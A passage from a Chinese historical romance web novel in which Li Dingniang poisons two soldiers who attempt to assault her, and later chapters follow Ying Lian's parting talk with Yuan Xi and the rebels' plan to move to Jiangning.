如今来了个这样标致的小娘子寻他，那小厮一路明里暗里打量了她七八回，腹内揣测；又瞧她不过青裙布衣，不像富贵人家出身，便藏不住话，追问：“你是哪家的小娘子？这样晚的天，你还来送他吃喝，想必与舟横先生情意不一般？” 李定娘早已有答对，帷帽下的声儿轻细细的，与拂面的春风羞怯一般，“我、我是他新收的外室。” 那小厮面露“果然如此”的表情，脚步放缓了些，道：“我就说么，舟横先生那样风雅和善的人，怎能配个水性杨花的妇人？如今我瞧你就不错，你记着，需得周全地侍奉丈夫，他大妇不检点，你若得了他欢心，许就有了做正妻的造化。” 他也不论面前是认识不认识，仗着府署里人的身份，充大辈儿好一番提点，想这小娘子没见过世面，必要唯唯诺诺地应。没成想说罢了，她却不做声，竟连脚步也停了。 罢罢，又是个上不得台面的妇人，见了几座像样的屋宅，便走不动路。 “哎，你发什么呆呢？走啊！”小厮轻慢催促。 那小娘子却挑开帷帽，露出方才那张俊俏的脸蛋，眸子却一眨不眨，要盯到他心里去，张口问：“你说……他那大妇是什么样人？” “水性杨花啊！”他催她前走，皱着眉道，“咱们里外的人都晓得，怎么，你没听说过？” 李定娘跟着他前走几步，呆怔了片刻，摇摇头，“她、她怎么就浮浪了？我听说她才是受难的那个。王……舟横先生对她不住，可亲手害了她家人呢！” “嗐，你又听人瞎说。”小厮道，“他那是被罗大王逼的，纵使有亏欠她的地方，不是也负荆请罪了么？又是磕头又是送礼。你想，那么大一个伟丈夫，竟给妇人下跪！仅是这份心胸，咱们就得钦佩！” “可他毕竟杀了她母亲！”她再一次定住脚步，气息喘了起来，眼眶微有些发红，似是情急，要与他争辩，“杀母之仇，不共戴天；况她父亲也是遭他所害，才丢了性命，难道我……我那姐姐不该恨他么？这样的人，怎么不能说是狼心狗肺！” 小厮奇怪地看着他，似乎惊异于她怎么用这样很毒的话来作践自己丈夫。 “我只知道，舟横先生与军师林文贵一般，都是再厉害不过的聪明人，且带人和气、慷慨大方，是个难得的大丈夫，纵私德上有些小过错，又算得了什么？”一个小娘子，又是平头百姓的出身，总不该这样冒失与他抢白，小厮答话便很不客气，“——他那浑家做下丑事，反来为难与他，当真是个祸星！我劝你长长心眼儿，莫要被她蒙骗了。你若不信，问问府署里旁的人，哪个不晓得这些内情？” 李定娘浑身发冷，再走不动一步，浑浑噩噩地愣在两步之间。 她仿佛陷入了一个迷障的深渊。深渊里的怪物张牙舞爪，露着森森的血齿，怪诞的嘴一张一阖，吐出让她再想象不到的“真相”。 舟横先生，王渡，大丈夫，小过错。 不、不对，他分明是个伪君子啊！ 他引得贼匪劫掠她家，害了她爹娘家人，害得她丢掉了孩儿，家破人亡不外乎是，犯下的罪行累累，怎么到头来，他反倒成了那个清清白白、高高在上的干净人，她却被推到了万夫所指之下？ 我没有水性杨花，我没有对不住他，是他对不住我，是他该死。 “你咕哝什么呢？走是不走？”小厮问。 她这才回神，自己不知何时竟将这些话喃喃出口，浑然一震，瞧了人一眼，又望望深不见底的府署里头，一咬牙，招呼也没打，转身便向外走。 小厮莫名其妙，追着急问：“你去哪儿？你怎么走回头路！” “我突然想起，家中还有事未办！”她心思早已涣散，勉强答了一句，人已飞快地远了，“不用报禀了，下回我再来！” 直待沿原路折返，那后角门被“嘭”地一声关上。小厮才追过去，全然摸不着头脑，又摸进袖里那一脚碎银，心落到了实处，道了声“冒冒失失的”，摇着脑袋回了。 牛车已被打发走了。李定娘一口气跑出不知多远，直到了一座石桥边，才终于跑不动，捂着绞疼的心口喘不上气，扶在青灰斑驳的壁柱旁，在一片昏沉沉的天地中，瘫坐在半湿入水的大青石上。 桥下一弯幽黑的水，沉沉无光。远近更无灯光火光，那水便像无底的深渊，泛起噬人的可怖涟漪。 心脏跳得如此迅疾，几乎要破出胸腔，血滚烫后一点点变凉，在夜风里一晌冰冷起来。李定娘牙关打颤，向前倾伸身子，但见灰暗的天幕垂影里，一个更深更黑的影子水底摇晃，是她自己瞧不清脸面的倒影。 一瞬间，无数的、从多久前到如今的般般件件往事，一齐涌上心头，她感到了一种生不如死的痛苦与挫败。 仿佛她从出生以来，就没有一件事做的是对的。 生母产她遗下了病根，没多久便去了；她与郑氏不亲近，长到十五岁，因郑氏怀胎，她少不经事，怕从此郑氏更不为她这继女打算，头一回想着自谋姻缘，却不想闹出那样惨事来，害得家中名誉尽丧，父亲因她辞官。 嫁不了想嫁的人，好容易择了个万贯的夫婿，明知是火坑，闭着眼跳了。到头来棋差一着，又被命运作弄，沦落至此。 有一只无形的手，抓着她、操控着她，她瞧见前头有一条笔直的路，理所当然踏出一步，却总是万丈深渊，一堕再堕。 她蜷着身子在青石阶上，手心捂住了双眼。身子一点一点寒冷起来。 便突然想到了祝兰，那个经她手所害的妇人。 当日祝兰口口声声，道她的下场，就是自己的下场。 她听了，也信了，却总有些不以为然，以为只要压着王渡一头，不教他摸着权势，他总不能反咬她一口的。 可如今，瞧瞧她都得了哪些报应？ 那食盒偏又搁在身旁，这会看来，简直是个笑话。 她茫然地盯着幽深的河面，想，纵然他死了，也是个英雄，是外人眼里的丈夫。不明真相的人，只会痛惜他的陨落，年年到他墓前吊唁哭祭。 作为一个英雄死去，他怎么配。 此夜无月，更无千家灯火。自打义军占据义兴县，虽出榜安民，县中百姓毕竟惶恐，便是白日也无多少人迹，更休提夜来点灯，生怕引来贼寇作乱。一整个地界，便凄凉冷落了下来。 她勉强记得过了桥便是去城东的路，怔了不知多久，总得起身家去。 才直起身子，却听得一个轻佻的声音：“这样冷清的夜中，竟有小娘子逃在此处！” 李定娘一惊，猛一回头，人竟已来到跟前，是两个生脸的汉子，分明义军衣衫，一双眼却贼溜溜盯在她身上，瞧不大清的脸面上隐隐透出几分贪婪与欲。望。 她后退半步，却摸着冰凉凉的石桥壁，身侧是不知深浅的河水，那二人已前头拦住了去路。 哪怕是官家的禁军，也有不少滥竽充数的地痞混迹；更别提这一支鱼龙混杂、多为流民转来的义军。这二人不知寻了什么由头遛出营，竟进了城里找便宜来了。 一人当先揭下了李定娘的帷帽，使她那张皎**致的脸孔全然暴。露在夜中。 紧接着是一阵嘻嘻哈哈的笑，兄弟俩啧啧称赞，“今夜来打野食，却不想时运到了，竟逢着这么个标致人儿！” 李定娘退无可退，反倒不怕了，自暴自弃占了上风，望着两人，发了一声笑，声音再凉，也动听得紧，“原来是两位军爷，怎么，要与奴耍一耍？” 那二人喜上眉梢，抓耳挠腮，一个道：“原以为是个良家，听你口气，却也是风月里勾当的，那更好，省得要死要活！” 一人便来捉她手臂腰肢。李定娘不动，恶念窜上心头，眸子却更亮似光火，任他捏着一只手，另一手却指那食盒 ，“这本是奴为我家郎君做的桃花饼，如今落在你们手里，也是冤孽。便赠与你们吧，谁若吃了，便是奴的郎君。” 那食盒孤零零在侧，此时终被发觉。那二人揭了雕花的精致盒盖，闻得一股喷香，诱人食指大动，更是大喜。 一人紧揽着李定娘腰身，怕她寻空逃了，便与兄弟各拈起一饼子，三两口便下了肚。 “香得紧，只是有点苦茵茵的。”一人道。 李定娘笑了笑，“花朵儿作馅就是如此呢，开头虽苦，咂摸滋味，渐渐地便回甘。不信，你们再吃两个。” 一人便捏了捏她的脸，嬉皮笑脸地又分吃了几个。 一会儿，吃光了，那二人便就无光无月的桥下石壁旁，乱糟糟地压着她，手脚不老实起来。 李定娘被那胡子扎得难受，仰起了脸，却望见云气深浓的苍黑里，偶尔闪着几颗星子的光亮。只是那光太幽微，又太遥远，映在人间，就略等于无了。 她衣襟被扯散了一些，自弃地心想，辱就辱吧，反正也不是第一次了。 反正也不会再有孕了。 只是腰带还未解，忽觉一人哆嗦了一下，脸面歪斜，道：“我有些头疼，你先耍着。” 那一个才应声，却也捂住了胸口：“我心口发闷，哎、哎……” 李定娘冷冷瞧着他们，见那两副身子佝偻得越来越厉害，便一手一个，将人推倒在了地上。 那两人起不来身，在地上打滚，身子直痉挛，“嗬嗬”直喘，拿手指着她，嘴里含糊：“你、你下毒……毒妇……” “毒妇？”李定娘见他们此状，心里却好生奇怪，便道，“要来戏耍我的是你们，我又没逼你们吃那饼子，你们凭什么说我是毒妇？” 她叹息，怜悯地望着愈来愈痛苦的两人。 毒发不过片刻，地上的人已叫不出声了，一劲儿抽搐，五官扭曲得不像样。 “放心吧，这不是砒霜，是牵机毒，比砒霜更快呢。”一人抽搐着伸出鸡爪样的手，来抓她脚踝，李定娘一脚踩上去，又狠碾了几下，眸中落着星光，端庄地微笑，“你们是无名小卒，死在僻静的小角落里，很相称。” 那二人已不知听不听得进她的话了。 半晌，抽搐止歇，两具身子维持着怪异蜷曲的姿势，伏在地上。李定娘望了半晌，心口疯狂跳动，喘息使得她口干舌燥起来，仿佛也吃了一剂毒药，有些头晕眼花，却恍然领悟，“我错了，我果然不应当就这么杀了他。” 小人就应当有小人的死法。他该死在众人的唾弃之中，像一条丧家犬。 她就这么坐在尸身旁，心头一半沸水似的滚烫、一半泡过冰雪的凛寒，也不顾是否有巡夜的兵士瞧见，独自仰望黑黢黢的夜空，在煎熬之中，微微笑了起来。 也不知多久，僻静空落的某条巷道里传来了一丁点的响动。 李定娘恹恹地回过头去。 她已没了桃花饼，若再来一二宵小，便真要束手无策了。 “出来。”她轻声道，在夜中并未传出多远，“不要鬼鬼祟祟地躲在里头。” 话声虽不大，却似有斩钉截铁的力道。一会儿，巷内幽深处缓缓走出来个身影，起初漆黑混沌，随着走近，轮廓渐渐清晰起来。 是个少年。 再仔细瞧，脸廓是中原人罕见的深目高鼻，望之深邃，夜中更显得锋芒如出鞘的刀。李定娘有些诧异，从不曾见过这样貌，便注视了许久。 那少年穿着府署里下人的衣裳，想是个仆从，却初长开了身量肩臂，粗布衣衫掩不住起势雄健的姿态。他脚步停在尸首旁，抿着嘴默然了半晌，而后开口，似下定了某种决心：“你不该留在此处，快走。” 话声并不圆润，带着异域口音，李定娘却品出几分动听的滋味来。 不知是今夜她堕在疯狂的边缘，或是受得刺激更多，此时打量着他，却无端生出一丝愉悦来，只觉他这模样甚合心意，更妙的是，他居然只是一介仆从。 “我走了，他们怎么办？”她瞧也没瞧尸首一眼，只望着少年，眸中婉转含了几分水光，不知起了什么心思，再问，“你叫什么？是谁的小厮？” 句句莺声燕语，透着股钻入人心窍里的酥麻。 “……袁武。”那少年上前来，一脚一个，将尸首咕咚咕咚踢入水中，低头对上她秀韵难言的眸光，失神一刹，倏尔被烫着似的别开眼，“我还有个乳名，唤作吾浑堵。” 死人浮浮沉沉，缓缓地随水飘去了下游。袁武一路跟随她从府署出来，在暗巷内瞧尽了这一切，以为她到底是个小娘子，虽做下杀人的事，终究有几分怕，瘫在地上起不来，便伸出手去，要扶她起身。 不想李定娘只是仰面瞧着他，脸庞于幽夜之中，更比月色皎皎，凤眸红唇，乌黑的鬓发，定定地不知凝视他或是更高远的夜空，沉默里透出动人的妖冶。 袁武突然便一脚踏入了她的迷梦，再挣脱不得。 不，她不害怕。他痴痴地想，她连举刀杀人都不害怕，又怎会怕这两个死人。 李定娘伸出一只优雅纤长的手臂，一截皓腕如霜雪，十指纤纤，却反握住了他粗糙的手，轻轻向下一带。 分明轻飘飘的力道，袁武却被勾了魂似的，心甘情愿地弯下了腰，支撑不住，一膝跪在她身前，一手按在她肩，手心里滚烫，像流淌过灼烧的熔岩。 她是柔软的，却不容他拒绝的强硬。 “吾浑堵……真奇怪的名字，我还是叫你袁武吧。”她低声呢喃，话语消失在相贴的唇齿间。 李定娘双臂环上了他的颈项，身子柔软地压上他一瞬僵硬起来的胸膛，如水流爱。抚在坚硬的礁石上。 袁武已经分不清清醒着或在梦中，更分不清是美梦噩梦，只浑浑噩噩地被她牵引着，张着唇，一点点任她欺凌，浑身硬得像截木桩子似的。 半晌，她微微分开，唇更殷红，像饮足了鲜血，捧着他俊朗的脸颊，说话缠绵得令人痴醉，“没经过事……也没碰过女子？” 他木愣愣地摇头，浑身的血都涌上头脑，又往身下窜。 李定娘笑了，眨眨眼，在他唇上又浅浅啄了一记，“不错，干干净净的，我喜欢。” 她笑容里有一些袁武看不懂的凉薄。 仿佛草原上繁乱的星子一瞬间在他脑海中疯狂地旋转。他目眩头晕，久久回不过神，唯能听见一颗狂乱跳动的心，唯能瞧见她饮醉似的眸中春情、饱满得滴血般的红唇。 她却如初见时，满坡淡白的花一样纯洁。 袁武默默送她回了家。 李定娘不急着扣门，却牵起他的手，在那掌心里屈指轻挠了挠，算是表达谢意。 “来找我。”她话中透着十分漫不经心的挑逗，愈是见他手足无措，便愈是轻快，“——记得趁鬼面将军不在的时候。” 某些暗示，哪怕他从未接触过风月，也浅显地听了出来。 只是她近在眼前，他却仍近乎摸不着她，便从心底又升腾上来一股火气，想问：你果真是流言中传的那样，是个轻浮浪。荡的女子？ 但她浅浅一笑，他便把什么都忘了，只记得那翘起的唇角像天上的弯月，无瑕又高贵。 袁武便鬼使神差，按捺着毫无节奏狂跳的心，凑上前去，主动在她唇角亲了亲。 果不其然，听见李定娘柔软的咽喉里，淌出了一声酥到人骨髓里的轻笑。 她推了推他，示意他该走了，立在自家门阶上，轻轻扣了门。 女使来开门。门隙微开的那一刹，她偏头望向他处，饱满润泽的唇微微轻动。 幽暗处的袁武却瞧得清楚，她唇间无声又复道了几个字： 来找我。 这一夜虽无光，他心中却已有了满泓的月色泠泠。那月真美，比他幼时在广袤繁星的大草原上所见的，加起来还要更美。 他想把她捧回草原上去，给她穿最柔软的丝绸、戴最耀眼的珠宝，喝最香甜的羊奶。他要把他搜罗来的最好的珍宝都献给她，以换得她最开心的笑容、最无忧的真心。 但她毫不迟疑，入了门内，一道门隔开了他与她，隔开了这镜花水月一般的半真半假的情意。 第77章 第77章荼蘼妆成春已晚 往年端阳节近，洛京大小人家甚要风雅地办一次留春宴，为的是赏春残啼红凄艳的景致；若是恰在一场不大的雨后，便更为应景了。 义军里却没这样闲耍的习气。今年端午，上下喝过一次雄黄酒，军中张挂天师像，又赐下五色水团，与兵士同乐，也就了了过了；取而代之的，是更为紧张的一团气氛，中军帐中似乎酝酿着一股山雨欲来的凝重。 应怜作为女眷，即便不在中军帐议事，多少也察觉到了这一点。 一连几日，她都试图拆解这一团乱杂的事理：自己渺茫的前路、义军渺茫的前路；宗契、元羲。 十几年来的世路风雨，一年来浇遍全身。奇异的是，反催得她不若之前那般怕事胆怯，多想几遍，也就想通了。 既选了这一条道，便容不得悔。宗契为她做到这一步，她若悔了，不仅对不起自己，更对不起他。 端午前一日，下了一场不大不小的春雨，零落飞红，点点沾在廊檐窗扉。按往年的眼光，这便是最好的一回端午，留春宴也就赏玩到了极致。只是那浅粉幽红的残瓣落在檐瓦，她见了，忽有所思。 所谓留春宴，又何曾真的留过春住；她与元羲之间，不过就是春枝残红，一春过了，又逢风雨，再留也就留不住了。 偏巧端午这日，元羲又来了她院里。 春莺将他让进小厅，去禀应怜。 内室里，茜草有些嘀咕，向才梳妆毕的应怜道：“前几日才闹得不愉快，娘子，您可莫要轻饶了他，好教他晓得，您也不是随意言语上可欺之人。” 应怜笑了笑，“什么饶不饶的，我与他争执，又不为要他来哄我。待客的礼节，咱们可莫要失了。” 说着，转去了前头小厅。 一道浅浅珠玉竹帘外，坐着她曾经的夫婿，依旧如玉山毓秀，蓬勃英姿而萧萧肃肃，察觉她到来，一双眸中蕴万千光华，顾盼而来，墨夜寒星便垂倾于她周身，一刹耀目。 饶是应怜已见惯，也不禁屏息，而嘴角不知何时挂上了一丝自己也觉察不出的笑意。 他之于她，从前正如春风之于草木，再平常不过，又再温暖不过，到如今也还使人牵挂不下。 元羲见了她，站起身来。 “你今日怎么来了？”应怜道。 “你不是想寻一丛荼蘼么？这几日荼蘼开得盛，真是时机。”他道，“城中有一处荼蘼花圃，可随我去瞧瞧？” 应怜想了想，自己果真随口说过这事，他却还记着。 她有些意动，不为了荼蘼，却为了他。 ——她想与他说清一些事。 “好，咱们就去一趟。”她叫来茜草，吩咐一些家事，带上春莺一道，随他出了府署。 元羲早备下了一辆崭新洁净的马车。应怜登了车，随他向城中街巷而去。 那花圃正在城外不远，是义军的驻地。受着义军盘踞的影响，今年也有些人来买花，却不大多，因此那小园里存着数不清的盆盆丛丛，至如今，仍有三月的迎春、四月的桃杏；更清冷的寒泉花室里，竟还有二月的红梅怒放，使人有如别置洞天。 可若论如今时节开得最盛的，自然要数荼蘼。 自入了花圃，应怜便目不暇接，满目纷纷雪白，行在天幕一般的花架之下，抬头便见荼蘼半天，绿映之中，皑皑如雪，最是开到盛极，簇簇伸来拳头般大小，香气熏醉满园。 一路行来，有园中小僮跟随指引，点那一丛丛荼蘼，哪些凭幽香取胜、哪些花朵最可观、哪些又是这一年才蘖出的新花，以待客人随时接取。 走走停停，不经意过了一处角落，细高的花架上，也缠攀了几株荼蘼，开出点点珠玉般花朵，重瓣不胜数，霎是可爱，只是花茎孱弱、枝叶扶疏，似有弱不禁风之态。应怜喜那花胜出寻常荼蘼繁丽，却碍着太过弱小，便有心问那小僮，“这一株如此别致，只可惜孱弱，难道是病了？” 小僮殷勤道：“不是病了，这一丛千瓣荼蘼是家中花师去年偶于一山涧里寻得，那时开得最繁盛不过，那花真如漫天雪海，是世间再难得的奇种；便费了百般心血，将之移种回家，只可惜那花离了故土，十不存一，如今独剩了这一株，所幸是养活了，花师说，待过个二三年，习惯了城中水土，从此便能自成一方气候，开花散叶。” 许是见她目不转睛，小僮怕她提出要接这一株回家，忙又补充：“这一株实在不好再挪动地方，好容易存活下来，贵人若想要，待明年，花师必亲送上门，如今若挪动，便再活不了啦！” 他如此说，应怜便不强人所难，离了这一株新花，兜兜转转，瞧了半圈，有些累了，便歇在一凉亭下，也在荼蘼花海之间，与元羲相对而坐。 春莺还没逛够，一双眼四面踅摸着艳丽的花朵。应怜便道：“你去玩吧，我与元郎君歇一歇。” 春莺兴颠颠地去了。 欢快的身影隐没在九曲回廊之后。应怜收回目光，却见元羲正定定地瞧着自己，内敛了些说不清的情绪。 “你有话与我说。”他道。 应怜微微一笑，“你约我出来，难道果真只是看花？” 亭中早已备下荼蘼花酒，并不浓醇，反有一股清甜花香。她低头斟了两杯，将其中一杯递过去。 酒液花香，彼此相美，元羲开口：“前几回……我并不是存心想要气你。” “我晓得的。”应怜捧着光润青瓷酒盏在掌心，瞧他一眼，又转去赏四面的花朵，道，“你有你的委屈。当初以为我死了，你想必很难过吧。” 这是他们头一回直面过去发生的事。 元羲有再多委屈，却不愿在她面前展露，怕她嫌自己软弱，不过片刻微怔，随即道：“再难过，那已是从前的事了，如今我寻到了你，也就好了。” 应怜啜饮一口荼蘼花酒，百般滋味铺陈在喉间心头，清甜尽化为一股辛与涩。 元羲等了一会，等不到她开口，两人之间有一刻的沉默。 “你是不是……”最终，他再问了一句，“不愿回去？” 应怜的目光流连过春芳，偏又在另一边，瞧见那株千瓣的荼蘼，遥遥望去，花枝更为细弱，连花也不见星点，尽隐没在姹紫嫣红之中。 她忽生出几分与此花同命之感，心有所触，向元羲道：“你瞧那花。” 元羲顺着她纤白的指尖所点而望。 “一朝远离故土，兄弟姐妹之中，唯它一株独活下来，虽艰难，却到底有开 花向上之意，想必再过几年，能争得枝繁叶茂。可若再挪动它一次，即便是挪到水土丰美之处，究竟是为它好，还是不顾它死活呢？“应怜说到此处，顿了一顿，瞧向他，心中出奇平静，坦然剖露心迹，“我不愿再回去，只因好不容易求得一命，我想好好活着。你若真为我好，就休再提什么回不回去的话。” 元羲沉默了半晌，喉头动了几次，最终，吐出一个字，“……好。” 有些话，早提也是一刀，晚提也是一刀，索性痛快全说了了事。 她便狠下心，再道：“我与你，从前的确有过婚约。只是我家已倾覆，父母之命，再做不得数。你家中上下，除了你，想必无人再愿提及这门亲事。我蒙君厚意，却注定无以为报，所能做的，就只有盼你能再结……” “别说了。”他蓦地打断他，言语神情却冷静到极致，饮下一盏荼蘼花酒，压藏住心底偏执，定定瞧她，“我今日确是有话与你说——我只问你一句，你如今，对我可还有情意？” 应怜没料到他突然有此问，一时答不上来，只得借饮酒掩饰失态。 他目光又太专注，她竟半分也躲避不开。 若说情意，怎么可能一点也不存？他们自小一处长大，历历的儿女事都还在眼前，怎么就能一句“没有”便抹得干干净净。 “有又怎样，没有又怎样？”她反问。 元羲却笑了，现了几分畅快，仿佛紧绷心底的一根弦忽地松开。 “我明白了。”他道。 应怜无言以答，也不知他明白了什么，却听他又道：“再过不久，我便回洛京了。” 她一惊，也顾不上羞恼或是尴尬，忙问：“你怎么回去？” “我已收到元平的口信，说二哥带了钱来赎我，想必不久便至。”他又宽慰她，“你便如那株荼蘼，虽不能走，却还有我。” 应怜又怔愣了半晌，摸不透他话中的意味，隐隐预料到些，却又不好说出口。 两人歇了一晌，话也说尽，枯坐无聊，便又闲走了几步。应怜挑了几盆茉莉、栀子等一二月内即盛的花，说到荼蘼，反不要了。 “义兴县此处，怕是待不久，得了荼蘼，也见不着明年花信。”回转的路上，将登车时，她避开杂人耳目，向元羲道，“太湖虽大，究竟只是湖泽，无水险可依。义军声势大了，若还以此为据，下一次官兵若从西北面来，咱们便毫无可守。你回去也好，不在此处，安稳一些。” 元羲深深瞧了她一眼，答道：“待我回去，必会为你家奔走，届时还你清白官眷之身。” 他果真是这个意思。应怜领了他的好意，却只是笑着摇了摇头，不置可否，登车放下了车帘。 这已是吴览在此的第四日。 他睁眼闭眼，便瞧见天青浅淡的轻纱帐，帐额上绣着孔子泣麟的故事，纹路精巧，惟妙惟肖，挂在他的帐上，也不知是偶然为之还是有意使然。 圣人见麒麟将死而悲泣，叹世路将衰、大道穷尽。 那他呢？ 他心中的那只麒麟，是不是也奄奄一息了？ 宦途廿载，他自不敢说无愧于心，却也尽力求个清正，怎么到头来，反落得个家破人亡、身陷贼窠的下场？ 胸中一股郁气冲突上来，吴览胸闷头晕，急急地咳嗽起来，慌得一旁守候的仆人又是拍前心后背、又是端汤倒水，忙活了一通，对外头进来的那人竟无知无觉，半晌一转身，吓了一跳，才行礼道：“军师。” 来人正是林文贵，人至不惑，瘦削清癯的身量，中人长短，处处透着一股和善亲近之气，点点头，接过仆从手里热茶，亲自端在吴览的床前。 吴览咳嗽得胸中闷痛，被伺候了一盏茶，好容易睁开眼，才见不是仆从，却是此人。 “大夫已叮嘱过，官人伤重将养，切忌忧思忧虑，一切等养好了伤再说。”林文贵道。 吴览喘匀了一口气，倒回床上，盯着帐额那只麒麟，有气无力招呼他：“军师。” 这两个字从他嘴里念出，显得格外地嘲讽。林文贵知他心中仍郁郁，也不介怀，只道：“若官人不惯，仍唤小人主簿即可。” 说起来，年前，他二人还是上下峰的关系。吴览为知县，林文贵不过是他手底下的主簿而已，曾为他出过不少中肯谏言，二人相处甚洽。 如今他成了贼营里的军师，自己却一而再、再而三地受贼首的恩惠，又被极力劝说落草入伙。吴览想到此，真不知自己该叹还是该笑。 他叹了口气，“军师此来，也是劝我入伙？” 林文贵安然在他旁侧坐下，答：“入伙不入伙，官人心中自有定夺。我不过念与您旧谊，来探一探伤情。还是那句话——大夫叮嘱了，切忌忧思过重，养好了伤，再议不迟。” 他如此说，吴览可不会真的如此想。这样大的事，不日夜忧心怎么可能。 平心而论，无论单铮予他再大恩惠，他感激归感激，总是不愿落草为寇的。可如今他们劫了牢狱，又留下话来，自报家门，谁也都晓得他被贼人救了，再想回到仕途，恐怕是痴人说梦。 且不论自己，单听这几日大大小小前来探望的将军、头目所言，如今贼营盘踞在义兴县，此地有什么险要可守？也不是那磐固的大州城，直待官兵兴师动众，大军一压来，恐怕就要作鸟兽散。覆巢之下，岂有完卵，到时他又当何去何从？ “吴官人，你这爱操心的毛病，总也改不了。”林文贵无奈的声音在旁。 吴览回神，见这曾经的主簿仍一如既往，和善地微笑，可笑意底下，谁也瞧不见那心里头的真意。 吴览与他县署里相处三载，总能多少摸透他的脾性，如今一身伤痛，便不爱兜圈子，疲惫地径直开口：“你若来劝降，说便是。” 林文贵却道：“小人早说了，官人自拿主意便是，小人何曾做过官人的主？若真论心中有什么话，便只有一句：顺其自然。” 吴览心中微震，将这几个字反复琢磨了几遍。 “不错、不错……我早该顺其自然。”他喃喃道，“若非为了强求磨勘，我也不会转任途中遭灭门之祸。我该顺其……自然！” 林文贵也不插话，听着他语无伦次地反复颠倒，心知水滴石穿，非一日之功，慢慢将他磨得回心转意，也就是了。 他又与他搭了些闲话，无关痛痒，说到太湖水美，不但景致可观，靠着湖泽天赐，更颇能解决粮草周转；说罢了，不多会，便要告辞。 临出门之际，却被吴览叫住，“军师稍住，我有一言告与。” 林文贵便折返回来。 “我蒙贵头领搭救，没甚可答报的，只有些浅薄的忧虑。义军盘踞此县，到万人之众，已是登峰造极，若再招纳部众，引来朝廷侧目，发大军压境，难道还如上一回黄将军率兵前来时，逃窜向他方？这样逃来逃去，总伤根本。不若趁着声势日壮，寻个盘固之地，步步为营。” ——或可得天道造化，再降麒麟。 他将这最末一句离经叛道的言语吞咽下肚，望着林文贵，歇了歇，道：“鄙薄之言，若不可取，军师弃之便是。” 林文贵眸中乍现光彩，面上微笑也真切了几分，赞叹道：“官人何必自谦？您一语见地，极是中肯，我必深虑。只是不知，在您看来，吴楚之地广泽，何处才可称盘固呢？” 他只是赞赏，并不惊讶，显然早已心中有了盘算。 吴览欠了单铮两条命，为着这两条命，他也没什么不可告知的。 “江宁。”他斩钉截铁，“近义军而远洛京，中间更有江水汤汤，无论冬夏，皆可作天堑，阻隔官兵；腹地千里，尽是鱼米水乡，粮草全不需忧虑，可谓尽善尽美之处。” 林文贵抚掌大赞，连连笑道“记住了”，作揖再拜，告辞而去。 第78章 第78章此夜月溶溶、香袭袭、思…… 元羲的二哥元羡带着家人元平来时，恰在 义军开拔前几日。 自单铮以下，已定准向江宁府而徙的计策，兵众便开始忙忙乱乱起来。作为头领的单铮，每日分派大小事务、督查开拔进度，忙得脚不沾地，压根没功夫过问人质元羲如何情形，这件说大不大、说小不小的“杂事”便从头至尾落在了赵芳庭身上。 赵芳庭便只得从百忙之中，又抽出空来，礼待元家次子，接风宴饮；席上又叫来元羲，使他们兄弟团聚，以示自己这拨人虽名为“反叛”，可也不是那等只会打杀抢掠的贼匪，相反，是深知礼节的。 自然，元羡也不是木楞的人，两方互搭高台，场面上吹捧一番，瞧见了元羲毫毛儿未伤，便教人将礼单如数奉了上。 这一场人质的买卖，到此便圆满了。 赵芳庭瞧着那长长一串礼单，肚里乐得几乎抽筋，面上却波澜不起，仍是十分周到；酒过三巡，便识趣地寻了由头离开，给他兄弟二人一个说话的时机。 酒楼之上，元家兄弟一番感喟叙谈，元羡惊恐之心方定，抓着元羲手臂上瞧下瞧，又紧着问这些时日可曾受委屈；元羲的小僮元平乖觉地守在角落，只是有几分神色不定，数次拿目凝视元羲，似有什么心事一般。 元羡才说道要走，一刻也不愿在这贼窝里逗留；元羲却道：“不忙，我还有些人事在那府署里要安置，少不得再留个一二日。兄长宽心，彼军虽是反叛，只要咱们无异动，他们便很是客气有礼。” 元羡勉强答应下来，不肯入府署，只肯在城中客店里与从人住上两日。 ——正合了元羲的心意。他万不愿见兄长与惜奴不期然打个照面，以元羡这个肚里藏不住二三事的性子，万一哪回说漏了，又徒惹风波。 当下宴散了，元羲千辞万别，带着元平回府署而去。 一路上，元平心不在焉，驱着马差点跟丢了主人。元羲见了，很是不乐，索性勒马停歇了问：“你怎么了？丢了魂儿似的。” 元平支支吾吾，道无事。 主仆二人打小相伴长大，元羲哪里还不晓得他，但凡这样犹犹豫豫，就一定是有事。 “你做了什么错事？”他又问。 元平垂下脑袋，像遭霜打了，蔫蔫儿道：“不曾。” “那你作这怂模样作甚？” “不是我，是、就是……”元平几次欲言又止，在元羲逼问的目光下，急得抓耳挠腮，索性跳下马，把元羲骑的那匹也牵了，一并拴在一处僻静的老柳树下，望着穿城曲绕的小河水，半天打定心意，道：“郎君，我若说了，您可千万别去寻二哥对质，把我给卖了。” 他口称的“二哥”，便是元羡了。 元羲也下了马，“说便是了，我不告与他。” 元平这才没什么底气地开口： “自与你走散，我一路赶回了洛京，日夜也不敢停，将你身陷贼营的事禀了大人双亲。阖家急得一锅热粥似的，又不敢惊动府尹，怕贼匪与你不利，便教二哥带着钱财来赎你。二哥你也晓得的，最好个唠叨。临走前，我因要向他禀明细情，不成想窗根下听着他与屋里人说话，只听了几句。 “他说：‘归根究底都是父亲做下的好事。他害了人家，单瞒着四郎，这样的事，又能瞒过几时呢？他老人家若肯手下留一留情，哪怕教四郎把那应家女先娶了回来，不也就没有今朝这事了！如今可好，倒教我入那险地捞人，万一遭那贼匪又扣了，难道教大哥来赎我俩么？’” 元平一字不落地将那日偷听的话学来，说罢了，忐忑不安地瞧着元羲。 他并不全然领会其中意思，却以往日的伶俐机敏，本能觉着，这话里透着一股隐隐的不妙。他与四郎，俱是被蒙在鼓里的人。 元羲怔愣地将那话在心里过了几遍，接着问：“还有呢？你还听着什么了？” 元平摇摇头。 他见四郎的面色发怔发沉，定定不动地瞧向流动的春水，似在思量他的话。水波粼粼地细碎拂在他毓秀的面上，他的脸有些发白，眸光里翻滚着比河水汹涌得多的波涛。 半晌，元平听见他低声言语，不知是不是与自己说话：“有什么事，是要瞒着我、又与她有关的呢……父亲害了……害了谁？” 元平心中更不安定了，开始觉着自己将这捕风捉影的话学舌来，不知究竟对四郎是好是坏。 正犹豫后悔时，忽见元羲转过脸来，平静里有一股令人如芒在背的不安，细究时却倏忽不见，他仍是一向的那个端方如玉的大家子，“我忽然想起，还有几句话没与二哥说，咱们折回去。” 元羲来时，元羡才躺下，连日的赶路与胆战心惊，催得他疲惫不堪。 元羲却不管这些，入内便道：“二哥，有一事我忘了与你言讲。此一回我在反叛营中，瞧见个再意想不到的人。” “谁？”元羡强忍着困乏，并不大感兴趣。 “应家人。”元羲道。 登时，元羡的困意便吓飞了，“谁！” 